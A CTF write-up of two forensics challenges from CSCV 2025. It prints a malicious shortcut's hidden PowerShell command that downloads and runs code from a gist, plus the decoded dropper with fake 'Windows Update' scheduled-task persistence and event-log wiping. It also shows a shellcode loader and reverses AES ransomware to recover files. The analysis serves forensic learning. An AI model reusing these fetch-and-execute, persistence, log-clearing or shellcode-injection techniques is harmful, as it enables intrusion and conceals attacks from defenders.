Forensics - Final Round CSCV 2025
Write-ups for 02 Forensics challenges which I solved on Final round CSCV - Cybersecurity Student Contest Vietnam 2025 (Another day + DFIR)
~ Another Day ~
Detail
Our CIRT team has been monitoring indicators of compromise (IOCs) identified during a recent incident. During this process, we discovered that a customer’s HR computer had connected to one of the identified malicious domains. The affected machine was quarantined, and evidence was collected for further analysis. Please investigate and determine the actions performed by the attacker on this system.
The flag is divided into 3 parts, wrapping them in CSCV2025{} format
Solution
We are provided a .ad1 file, load it on FTK Imager to see the file system.
First thing I looked at is the Documents folder of admin user. There are a CV file and its shortcut. However, when I look the data preview, I saw it has powershell command hidden inside. Let’s extract with LECmd
There is not a shortcut to CV.pdf, it’s a shortcut to a hidden powershell command. We confirm this command has been executed by investigate powershell log (C:\Windows\System32\winevt\Windows PowerShell.evtx)
Let’t investigate the Powershell command
1
powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "IEX(IRM 'https://gist.githubusercontent.com/oumazio/16f129048eb2e53c07c436592821e3bb/raw/a853270425582a8156c8eaac31c26e3ad4296655/easter_egg')"
This command download and execute the code from the gist page. Inside gist page, we can see the payload of it
1
(NeW-ObJeCT IO.COMPResSiOn.deFlATeSTReaM([SYSTem.iO.MEmORYstREaM][syStem.CONveRt]::froMbAsE64stRiNg('lVZ7b+I4EP+/Ur+DhTgB2jrHKzy6qnR0afequy2osOpJFJ0cZyDZhiRKHArq9bvfjBPzanUPhCaO5zcPz8sp3yRJlAyk8qNwnMACEgglsCtWmfgBhCrYfolC5YcZVM7Pzs8WWaih7I/RAx+CTLaxYq/nZwx/sUjEqjpztgpm83l5KJS4YLNUJX64nJd/g20tx5WfYXuNoBStzKawUdZNKCOXUJeX36e3PesrKA2oHkq5IFHgHl74yPkBUrHcENOGrN8hXCovhy6ipFr2r+qfWdlnPFBHENr89KlW+Gw0z8r+HLVroF5zZxMle1dxj/20fy10zXMlb/kjAZUloVZ3fvZG0SI8ai1Jzwcps1h5WccVoSe9yI0SEZYQknr+WCiPYOXx4/DJwg3ad4R8XiZRFrpH7P22FYdLAiqRLEHtQBCuL8dJtMRc0GGe0jVaS5UFGyB0nDmBL8e+RF91BgoJvf1k9t+bOT/zF6w6hVRxbcr4XTPZRzW6GsCltN6NrFusH0zoAwh3EARFPo3UPqc7mcOK4uT6oUqOhaDDnwsW4qJx9Uu1vunLi/qm10DS7SKRtOrTqtdE0ukjEbQngPZcJLaNpEViNnG7PWLQqyMMrrMgLfTabZu9fp0YtHJJc98hMdrrkRaXGIIkesIY6pKhjmtke1oVae61zEoQxCEFklaCHO+TQ11S39Xea1Uk4eytEbejDdnGpCCxttQ+1z6bIDV1kFrEa5Fkk/xsk5kW2bdJZYO0NR0j3qRwNWhV3xEtYbfMqk0+NbTBtiF2h4hrZHVsWwRukncNHVYN7plXW7/SARrkS7u/U9o3brQp1C1a2UQ6u5VNEg3iNqUx3oId2YGbPSPRJEM2STTa2rVdkLAQI1eXIf8R+SGrYm3N6paFz2bR7LxRm7O/2G2U3AjpmSHEr2GJ+FeaN2+MY+dJSFP2OpOeSObV8p+MUwpmNHTmtbfaYf0edMlj4ivYt8m+py8OmuRI+KQdj8fFrivp9yWKt/xOweoUxU6nAcfDSTgaaqaI8qmfz9+J9MDNAnCnIn3Orw7GbzYgMwXswPdCFi+A5RKSj4SnBYuP6NLhA8WqOPup+6HG+APEoHxSfxcqSNYiYFVSMfVXMIkFGv2GFxNdJK36EXyYJUJ7dQIfii1iO7YZPykovNqW6UeuTQoePtGxIIheJngydbcYhddCoTs+BWyIl+NERfHd4iuWzfKIp/GPHoSDtfAD4QR4wl9914UwN/+AlZMi+Ngu40TvxQpY5dEP3eglZd9jFyNSQT/yYJt0cBO/XYy5cfvgcHlWsXRHmeL3WRAcZlY7+Z89+IcC3N8HeLBVtIai5Mz9VnjBD7432Oknhim6Y9X5xSfXVuwurCB8LpENXSfawjt2YapmDRSGxcnyL41KHvrKxzbe98/xKU4a5/8cJqcvsFaZ8gMmAzbZYtpXH+xjB+Ec2L7nDOIY+1TX9HtmySRpHL1AMvEgCEofoL75MonSaKF4ged7/M+jGPKWEUb23zJROpoxeRmZ6XeE240T/P8N'),[systEM.Io.cOMPreSsIoN.COMPresSionmOdE]::DecOMPreSS) | fOREACH-OBjecT{NeW-ObJeCT iO.strEaMReADER( $_ , [sYStEm.tEXt.eNcODINg]::AsCii) } ).REadToEnd() | .( $SheLlID[1]+$shELLId[13]+'x')
I execute this command to print the main payload. The main payload is
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ErrorActionPreference = 'SilentlyContinue'
function XOR-Decrypt {
param([byte[]]$Data, [string]$Key)
$keyBytes = [Text.Encoding]::UTF8.GetBytes($Key)
$dec = New-Object byte[] $Data.Length
for($i=0; $i -lt $Data.Length; $i++){
$dec[$i] = $Data[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}
return $dec
}
$key = "chieccupthu6danhchodoran"
$shiPath = "$PWD\.shi"
$backgroundPath = "$PWD\background.png"
$targetPath = "$env:ProgramData\svchost.exe"
$publicPictures = "$env:Public\Pictures\background.png"
if (Test-Path $shiPath) {
$encrypted = [IO.File]::ReadAllBytes($shiPath)
$decrypted = XOR-Decrypt -Data $encrypted -Key $key
$a1=@(0x9c,0x81,0x77,0xc1,0x97,0x82,0x69,0xa1,0xae,0x8d,0x55,0x3c,0x59,0x78,0x8c,0xba,0xae,0x6f,0x9a,0x74,0xae,0x90,0x6e,0xd2,0x9b,0x80,0x89,0xde,0xaa,0x8a,0x8d,0x75,0x6d,0x90,0x84,0xaf,0x83,0xaf,0xa5,0xb9,0xc5,0xa7,0x98,0x7b,0x79,0xad,0x73,0xb0,0x89,0xdb,0x6a,0x85,0x8a,0xa8,0x4c,0x74);
$a2=@(0x38,0x39,0x2e,0x47,0x3f,0x50,0x1b,0x2b,0x4c,0x21,0x1c,0x0c,0x0c,0x47,0x53,0x47,0x4d,0x18,0x44,0x44,0x56,0x5d,0x1c,0x59,0x37,0x2a,0x1e,0x64,0x48,0x1e,0x54,0x45,0x1f,0x49,0x18,0x49,0x21,0x42,0x31,0x51,0x61,0x51,0x5f,0x12,0x2c,0x56,0x3e,0x3e,0x31,0x61,0x28,0x51,0x25,0x52,0x14,0x37);
$decoded = -join ($a1[0..($a2.Length-1)] | ForEach-Object -Begin {$i=0} -Process {[char]($_ - $a2[$i++])})
[IO.File]::WriteAllBytes($targetPath, $decrypted)
if (Test-Path $backgroundPath) {
Copy-Item $backgroundPath $publicPictures -Force
}
$action = New-ScheduledTaskAction -Execute $targetPath
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 30) -RepetitionDuration (New-TimeSpan -Days 365)
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -Hidden
Register-ScheduledTask -TaskName 'Windows Update' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null
Start-ScheduledTask -TaskName 'Windows Update'
if (Test-Path $shiPath) { Remove-Item $shiPath -Force -ErrorAction SilentlyContinue }
if (Test-Path "$PWD\cv.pdf.lnk") { (Get-Item "$PWD\cv.pdf.lnk" -Force).Attributes = 'Hidden' }
if (Test-Path $backgroundPath) { Remove-Item $backgroundPath -Force -ErrorAction SilentlyContinue }
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
if (Test-Path "$PWD\cv.pdf") {
Start-Process "$PWD\cv.pdf"
}
}
A stage 1 dropper: Decrypts .shi using XOR and a hardcoded key. Drops the decrypted binary to C:\ProgramData\svchost.exe
A persistence installer: Creates a hidden Scheduled Task named Windows Update. Runs svchost.exe immediately and every 30 min for a year.
Additional, $a1 and $a2 are used to generate a base64 string that decodes to: tr3_con_t3_liet_truY3n_t4i_nkau_b1nk_0xy_ -> First part of the flag
Let’s continue with svchost.exe binary. Load it into Detect It Easy, we know that this file use .NET framework so I will use ILSpy to read the code
We have main funcition
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
using System;
using System.Threading;
using System.Threading.Tasks;
using AntiReverse;
using CodeInject;
using SetDesktopBackground;
using ShellcodeInject;
internal class Umbala
{
private static void Main()
{
bool flag = false;
try
{
string text = Environment.MachineName ?? "";
flag = text.Equals("DESKTOP-8JDAQU5", StringComparison.OrdinalIgnoreCase);
if (!flag)
{
Thread.Sleep(600000);
}
}
catch
{
}
if (!flag)
{
bool flag2 = false;
bool flag3 = false;
try
{
flag2 = SecurityCheck.anti_debug();
}
catch
{
flag2 = false;
}
try
{
flag3 = SecurityCheck.anti_vm();
}
catch
{
flag3 = false;
}
if (!flag2 || !flag3)
{
return;
}
}
Task task = Task.Run(delegate
{
try
{
ShellcodeInject.Loader.Run();
}
catch
{
}
});
try
{
CodeInject.Loader.Run();
}
catch
{
}
try
{
ChangeBackgroundImage.ChangeImage();
}
catch
{
}
try
{
task.Wait();
}
catch
{
}
}
After code passes 3 flags, it call 3 interesting functions. I saw that ShellcodeInject.Loader.Run() load the Shellcode by using embedded resource shellcoders.bin and run it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static void Run()
{
byte[] array = LoadShellcodeFromResource();
if (array == null || array.Length == 0)
{
throw new Exception();
}
IntPtr intPtr = VirtualAlloc(IntPtr.Zero, (ulong)array.Length, 4096u, 64u);
Marshal.Copy(array, 0, intPtr, array.Length);
IntPtr zero = IntPtr.Zero;
uint lpThreadId = 0u;
IntPtr zero2 = IntPtr.Zero;
zero = CreateThread(0u, 0u, intPtr, zero2, 0u, ref lpThreadId);
WaitForSingleObject(zero, uint.MaxValue);
}
private static byte[] LoadShellcodeFromResource()
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string name = "shellcoders.bin";
Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name);
if (manifestResourceStream == null)
{
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
string[] array = manifestResourceNames;
foreach (string text in array)
{
if (text.Contains("shellc") || text.Contains("payload"))
{
name = text;
break;
}
}
manifestResourceStream = executingAssembly.GetManifestResourceStream(name);
}
if (manifestResourceStream == null)
{
throw new Exception();
}
using (manifestResourceStream)
{
byte[] array2 = new byte[manifestResourceStream.Length];
manifestResourceStream.Read(array2, 0, array2.Length);
return array2;
}
}
Extract the shellcode and using tool to analyse it. I will using speakeasy
And we have the part 2 of the flag: s0n_tunq_mtP_884844_
For part 3, I find it in the Powershell Operational log: Microsoft-Windows-PowerShell%4Operational.evtx
So part 3 is: kirit0kun_8142b5a11e55c693
Flag
CSCV2025{tr3_con_t3_liet_truY3n_t4i_nkau_b1nk_0xy_s0n_tunq_mtP_884844_kirit0kun_8142b5a11e55c693}
~ DFIR ~
Detail
A senior manager at a financial company had all important documents encrypted and held for ransom. Please investigate and recover the encrypted files.
Answer 1: SHA-256 of the ransomware file
Answer 2: SHA-256 of the original financialStatement.pdf file
Flag: CSCV2025{answer1_answer2}
Solution
Forensics
We are provided a Windows 10 machine, load it into VMWare/Virtual Box/…
First thing we can see is all file has been encrypted (extension: .enc)
Checking the Winevent logs I couldn’t see any process encrypting all of these so I checked if the ransomware was still on the machine and still running by creating a file myself and seeing if it was encrypted.
We confirmed that the ransomware is still running. Because the task manager on this machine cannot open anymore so I will use tasklist command to check the running process: tasklist /v. There is a suspicious process: Runtime Broker.exe - The correct Windows program should be RuntimeBroker.exe. We will check its Executable Path by using command:
1
Get-CimInstance Win32_Process -Filter "ProcessId = <PID>" | Select-Object Name,ProcessId,ParentProcessId,ExecutablePath,CommandLine
We confirm that this is malicious process (Because real RuntimeBroker.exe is located on C:\Windows\System32\ not SysWOW64). To confirm this program is ransomware, I set up a controlled “bait” environment to capture which process was actually performing the encryption. The idea was to force the malware to touch files in a folder that is heavily audited, then use the Windows Security log to attribute the file access to a specific executable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Run on Admin
auditpol /set /subcategory:"File System" /success:enable /failure:enable
$path = "C:\Users\MANAGER\Desktop\"
$acl = Get-Acl $path
$rule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone",
"CreateFiles,Write,AppendData,Delete,DeleteSubdirectoriesAndFiles",
"ContainerInherit,ObjectInherit",
"None",
"Success"
)
$acl.AddAuditRule($rule)
Set-Acl $path $acl
# Create new file on setup path
echo "demo" > C:\Users\MANAGER\Desktop\new.txt
And we confirm that Runtime Broker.exe is ransomware we have to find
SHA256: 940ca4c4440ee72b2cc89e7927276b549be0d4dca7e7ae85ff7b25ecf52ced70
Detect It Easy:
Virustotal
Reversing time: Load it on IDA. Now the mission is find how to decrypt all file (Because we need the hash of a pdf file which encrypted). In the import tab, we will see the module related to Crypto -> bcrypt. Use XREF to determine which function call it
In the top of flow chart, we can determine the encrytion algorithm: AES
Continue use XREF to complete the encryption flow.
1
2
3
4
5
6
7
8
WinMain
└── sub_14000C5F0() // Starting Encryption Process
└── sub_140009450(path, …) // Browse folder, select file
└── sub_140002F70(src, dst) // Encrypt
├── Using pbSecret (key) + pbIV (IV)
└── pbSecret / pbIV created by sub_1400029A0()
├── unknown_libname_32() // get Unix time
└── sub_140001CC0() // resolve GetComputerNameA / GetUserNameA
sub_14000C5F0()
Initialize crypto (AES key & IV) + import-by-hash setup
Derives the AES-256 key (pbSecret) from the current Unix time using the SHA256-based
Derives the IV (pbIV) from SHA256(“ComputerName_UserName”)[0..15]
Get current user name (with fallback)
Build the list of target directories for that user
1
2
3
4
5
6
7
8
9
10
*(_OWORD *)v32 = 0LL;
v33 = 0LL;
sub_140008B80(v32, Src);
v14 = v32[0];
v15 = v32[1];
while ( v14 != v15 && !byte_14005C110 )
{
...
v14 += 4;
}
sub_140008B80(v32, Src):
Src is the username.
This function populates v32 with a list of directory entries for that user
Fallback: encrypt C:\Users\ and C:\ anyway
1
2
3
4
5
6
7
8
9
10
11
12
13
memset(v35, 0, sizeof(v35));
sub_140005690(v35, "C:\\Users\\", 9LL);
sub_140009450(v35);
memset(v34, 0, sizeof(v34));
sub_140005690(v34, "C:\\", 3LL);
sub_140009450(v34);
sub_14000B850(v34);
sub_140005BC0(v34);
sub_140005BC0(v35);
sub_14000D6D0(v32);
return sub_140005BC0(Src);
sub_140009450()
Setup counters and start the main loop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v114 = 0; // count of regular files encountered
v116 = 0; // count of successfully encrypted+deleted
v33 = 0;
v109 = 0;
v113 = v119; // current iterator
if ( v25 )
_InterlockedIncrement(v25 + 2); // retain shared state
while (1) {
v34 = v113;
if ( !(_QWORD)v113 || byte_14005C110 )
break;
...
}
Distinguish between regular files vs other entries
Inside the loop:
1
2
3
4
5
6
7
8
9
10
11
sub_140007CD0(v113, v147);
// v147[0] = file_type (0=none, 1=not_found, 2=regular, 3=directory, etc.)
// v147[2] maybe "is_symlink" flag, or some other flag
if ( v147[0] != 2 || v147[2] ) {
// Not a plain regular file, or has some extra flag
...
} else {
// Regular file (type 2 and not special)
...
}
Regular file branch: actual encryption path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_std_fs_code_page();
v151[4] = ".enc";
v151[5] = 4;
sub_1400071D0(&v110);
v46 = sub_140007980(v35, v135); // base path
v47 = v22 | 0xF0000006;
v115 = v47;
v48 = &v110;
if ( *((_QWORD *)&v111 + 1) > 7 )
v48 = (__int128 *)v110;
v151[0] = v48;
v151[1] = v111;
v49 = !(unsigned int)sub_140007790(v46, v151) // fail to construct ".enc" path
|| (unsigned __int8)sub_140013350(Buf1); // OR path matches skip filter
Check file permissions and build final output path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
v120 = 0;
v121 = &off_140059DC0;
sub_140008800(v157, v35, &v120); // status on source file
if ( !(_DWORD)v120 ) {
// no error on source file
sub_14000D2D0(v170, v35); // build some path object
_std_fs_code_page();
*(_QWORD *)&v127 = ".enc";
*((_QWORD *)&v127 + 1) = 4;
sub_1400071D0(&v110);
v65 = v43 | 0x300;
sub_14000D240(v170); // add .enc
sub_140005B40(&v110);
sub_140008920(v169, v170); // output path-->v169 (string)
...
// log "Attempting to encrypt: <sourcePath>"
...
if ( sub_140002F70((__int64)Buf1, (__int64)v169) ) {
// encryption succeeded
...
} else {
// encryption failed
}
...
} else {
// v120 != 0 --> permission error
"Cannot access file (permissions): <path>"
...
}
If no error, it builds the final output path (v169) with .enc appended and logs: Attempting to encrypt: <sourcePath>". Then calls the actual encryption function
1
2
3
4
5
6
7
if ( sub_140002F70(sourcePathString, targetEncPathString) ) {
// encryption OK --> try to delete original
...
} else {
// encryption failed
"Failed to encrypt: <sourcePath>"
}
sub_140002F70()
Set up AES-CBC with the global key pbSecret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
phAlgorithm = 0LL;
phKey = 0LL;
if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"AES", 0LL, 0) < 0 )
return 0;
if ( BCryptSetProperty(phAlgorithm, L"ChainingMode", (PUCHAR)L"ChainingModeCBC", 0x20u, 0) < 0 )
{
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
return 0;
}
if ( BCryptGenerateSymmetricKey(phAlgorithm, &phKey, 0LL, 0, &pbSecret, 0x20u, 0) < 0 )
{
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
return 0;
}
Open and read the input file into memory
1
2
3
4
5
sub_140002DE0(v46, a1);
memset(v44, 0, sizeof(v44));
sub_140003CB0(v44, v46); // construct std::ifstream for file a1
if ( !v44[18] )
goto LABEL_13; // open failed --> clean up --> return 0
sub_140002DE0(v46, a1) –> builds a path object from a1 (source file path)
sub_140003CB0(v44, v46) –> constructs a std::ifstream (binary) into v44
First AES call: compute output size (PKCS#7 padding)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
LABEL_19:
pcbResult = 0;
if ( BCryptEncrypt(phKey, pbInput[0], v7, 0LL, &::pbIV, 0x10u, 0LL, 0, &pcbResult, 1u) < 0 )
{
BCryptDestroyKey(phKey);
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
v13 = 0;
goto LABEL_37;
}
cbOutput = pcbResult;
v21 = pcbResult;
*(_OWORD *)pbOutput = 0LL;
v42 = 0LL;
if ( pcbResult )
{
pbOutput[0] = (PUCHAR)sub_140006AC0(pcbResult);
v22 = &pbOutput[0][v21];
v42 = &pbOutput[0][v21];
memset(pbOutput[0], 0, (unsigned int)v21);
pbOutput[1] = v22;
cbOutput = pcbResult;
}
*(_OWORD *)pbIV = *(_OWORD *)&::pbIV;
v23 = BCryptEncrypt(phKey, pbInput[0], v7, 0LL, pbIV, 0x10u, pbOutput[0], cbOutput, &pcbResult, 1u);
BCryptDestroyKey(phKey);
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
if ( v23 < 0 )
{
v13 = 0;
Open the output file (destination .enc) and write ciphertext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sub_140002DE0(v45, a2); // build path from a2
memset(v47, 0, 0x108);
sub_140003AE0(v47, v45); // construct std::ofstream for a2
if (!v47[17]) { // stream not open/valid
v13 = 0;
LABEL_32:
// destroy ofstream & ios_base
*(_QWORD *)((char *)v47 + *(int *)(v47[0] + 4)) = &std::ofstream::`vftable';
...
std::filebuf::~filebuf<char,std::char_traits<char>>(&v47[1]);
...
std::ios_base::_Ios_base_dtor((std::ios_base *)&v47[21]);
sub_140005B40(v45);
goto LABEL_33;
}
sub_140003AE0(v47, v45) is a constructor wrapper for std::ofstream in binary mode
After all, it free everything
And that’s all, everything we need now is determine the ComputerName, prepare to decrypt all file. We can find the ComputerName on HKLM\SYSTEM\CurrentControlSet\Control\ComputerName –> DESKTOP-PAEK96M
And the pdf we want to decrypt is on MANAGER user
Because I don’t know what time the malware runs so I will let the code search within (+-200s)
Using ChatGPT to generate the decryption code (hehe)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
param(
# Folder that contains encrypted .enc files
[Parameter(Mandatory=$true)]
[string]$InputRoot,
# Folder where decrypted files will be written
[Parameter(Mandatory=$true)]
[string]$OutputRoot,
# From your case
[string]$ComputerName = "DESKTOP-PAEK96M",
[string]$UserName = "MANAGER",
# +/- seconds around LastWriteTimeUtc to brute-force T
[int]$TimeWindowSeconds = 200
)
function Get-UnixTimeSeconds {
param(
[DateTime]$DateTime
)
$dto = [DateTimeOffset]$DateTime.ToUniversalTime()
return [int64]$dto.ToUnixTimeSeconds()
}
function Derive-KeyIv {
param(
[int64]$UnixTimeSeconds,
[string]$ComputerName,
[string]$UserName
)
# Cast to uint32 like in C
$T = [uint32]$UnixTimeSeconds
# v16 = T ^ 0xDEADBEEF
$v16 = [uint32]($T -bxor 0xDEADBEEF)
# pbInput0 = T ^ 0xDEADBEEF ^ (T + 13107)
$pbInput0 = [uint32](
$T -bxor 0xDEADBEEF -bxor ($T + 13107)
)
# v23 = T ^ ( (T ^ 0xDEADBEEF) + 13107 )
$v23 = [uint32](
$T -bxor (([uint32]($T -bxor 0xDEADBEEF)) + 13107)
)
# msg1 = LE32(pbInput0) || LE32(v23)
$buf1 = New-Object byte[] 8
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($pbInput0), 0, $buf1, 0, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($v23), 0, $buf1, 4, 4)
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$h1 = $sha256.ComputeHash($buf1) # 32 bytes
# msg2 = h1 || LE32(v16) || LE32(T)
$buf2 = New-Object byte[] (32 + 4 + 4)
[System.Buffer]::BlockCopy($h1, 0, $buf2, 0, 32)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($v16), 0, $buf2, 32, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($T), 0, $buf2, 36, 4)
$h2 = $sha256.ComputeHash($buf2)
# KEY = h1 XOR h2 (32 bytes)
$key = New-Object byte[] 32
for ($i = 0; $i -lt 32; $i++) {
$key[$i] = $h1[$i] -bxor $h2[$i]
}
if ([string]::IsNullOrEmpty($ComputerName)) { $ComputerName = "UnknownPC" }
if ([string]::IsNullOrEmpty($UserName)) { $UserName = "UnknownUser" }
$s = "$ComputerName`_$UserName"
$nameBytes = [System.Text.Encoding]::ASCII.GetBytes($s)
$ivFull = $sha256.ComputeHash($nameBytes)
$iv = New-Object byte[] 16
[System.Buffer]::BlockCopy($ivFull, 0, $iv, 0, 16)
$sha256.Dispose()
return @{ Key = $key; IV = $iv }
}
function Test-KeyOnFile {
param(
[string]$FilePath,
[byte[]]$Key,
[byte[]]$IV
)
try {
$cipherBytes = [System.IO.File]::ReadAllBytes($FilePath)
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $Key
$aes.IV = $IV
$decryptor = $aes.CreateDecryptor()
$msIn = New-Object System.IO.MemoryStream(,$cipherBytes)
$cs = New-Object System.Security.Cryptography.CryptoStream(
$msIn, $decryptor,
[System.Security.Cryptography.CryptoStreamMode]::Read
)
$msOut = New-Object System.IO.MemoryStream
$buffer = New-Object byte[] 4096
while (($read = $cs.Read($buffer, 0, $buffer.Length)) -gt 0) {
$msOut.Write($buffer, 0, $read) | Out-Null
}
$cs.Dispose()
$aes.Dispose()
$plain = $msOut.ToArray()
$msOut.Dispose()
$msIn.Dispose()
if ($plain.Length -lt 4) {
return $false
}
$magicBytes = $plain[0..3]
$magic = [System.BitConverter]::ToString($magicBytes)
# Accept only strong known file magics
if ($magic -eq "50-4B-03-04") { return $true } # ZIP / docx / xlsx / pptx
if ($magic -eq "25-50-44-46") { return $true } # %PDF
return $false
}
catch {
# Any crypto/padding error => key is not correct
return $false
}
}
function Decrypt-File {
param(
[string]$InputPath,
[string]$OutputPath,
[byte[]]$Key,
[byte[]]$IV
)
$cipherBytes = [System.IO.File]::ReadAllBytes($InputPath)
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $Key
$aes.IV = $IV
$decryptor = $aes.CreateDecryptor()
$msIn = New-Object System.IO.MemoryStream(,$cipherBytes)
$cs = New-Object System.Security.Cryptography.CryptoStream(
$msIn, $decryptor,
[System.Security.Cryptography.CryptoStreamMode]::Read
)
$msOut = New-Object System.IO.MemoryStream
$buffer = New-Object byte[] 4096
while (($read = $cs.Read($buffer, 0, $buffer.Length)) -gt 0) {
$msOut.Write($buffer, 0, $read) | Out-Null
}
$cs.Dispose()
$aes.Dispose()
$plain = $msOut.ToArray()
$msOut.Dispose()
$msIn.Dispose()
$outDir = [System.IO.Path]::GetDirectoryName($OutputPath)
if (!(Test-Path $outDir)) {
New-Item -ItemType Directory -Path $outDir -Force | Out-Null
}
[System.IO.File]::WriteAllBytes($OutputPath, $plain)
}
# ================= MAIN =================
if (!(Test-Path $InputRoot)) {
Write-Error "InputRoot does not exist: $InputRoot"
exit 1
}
if (!(Test-Path $OutputRoot)) {
New-Item -ItemType Directory -Path $OutputRoot -Force | Out-Null
}
$encFiles = Get-ChildItem -Path $InputRoot -Recurse -File -Filter *.enc
if (-not $encFiles) {
Write-Error "No .enc files found under $InputRoot"
exit 1
}
# Use smallest file as sample for key brute-force
$sample = $encFiles | Sort-Object Length | Select-Object -First 1
Write-Host "Sample file for brute force: $($sample.FullName)"
$baseUnix = Get-UnixTimeSeconds $sample.LastWriteTimeUtc
$foundKey = $null
$foundIV = $null
$foundT = $null
for ($t = $baseUnix - $TimeWindowSeconds; $t -le $baseUnix + $TimeWindowSeconds; $t++) {
$derived = Derive-KeyIv -UnixTimeSeconds $t -ComputerName $ComputerName -UserName $UserName
$key = $derived.Key
$iv = $derived.IV
if (Test-KeyOnFile -FilePath $sample.FullName -Key $key -IV $iv) {
Write-Host "Found candidate key. UnixTime = $t"
$dt = [DateTimeOffset]::FromUnixTimeSeconds($t).UtcDateTime
Write-Host "Approx malware time (UTC): $dt"
$foundKey = $key
$foundIV = $iv
$foundT = $t
break
}
}
if (-not $foundKey) {
Write-Error "Could not find a valid key within +/- $TimeWindowSeconds seconds around the sample LastWriteTimeUtc."
exit 1
}
Write-Host "Decrypting all .enc files with found key..."
Write-Host "ComputerName=$ComputerName UserName=$UserName UnixTime=$foundT"
foreach ($f in $encFiles) {
$relPath = $f.FullName.Substring($InputRoot.Length).TrimStart('\','/')
if ($relPath.ToLower().EndsWith(".enc")) {
$relPathOut = $relPath.Substring(0, $relPath.Length - 4)
}
else {
$relPathOut = $relPath + ".dec"
}
$outPath = Join-Path $OutputRoot $relPathOut
try {
Decrypt-File -InputPath $f.FullName -OutputPath $outPath -Key $foundKey -IV $foundIV
Write-Host "[OK] $($f.FullName) -> $outPath"
}
catch {
Write-Warning "[FAIL] $($f.FullName) : $($_.Exception.Message)"
}
}
Write-Host "Done"
Now all files are recovered. Let’s check the sha256 hash of financialStatement.pdf file and end this challenge
–> 6982f297b52b3e6fa6946d3df2ef810b6cd86e679511d2cc832d70953a4dd47f
Flag
CSCV2025{940ca4c4440ee72b2cc89e7927276b549be0d4dca7e7ae85ff7b25ecf52ced70_6982f297b52b3e6fa6946d3df2ef810b6cd86e679511d2cc832d70953a4dd47f}




























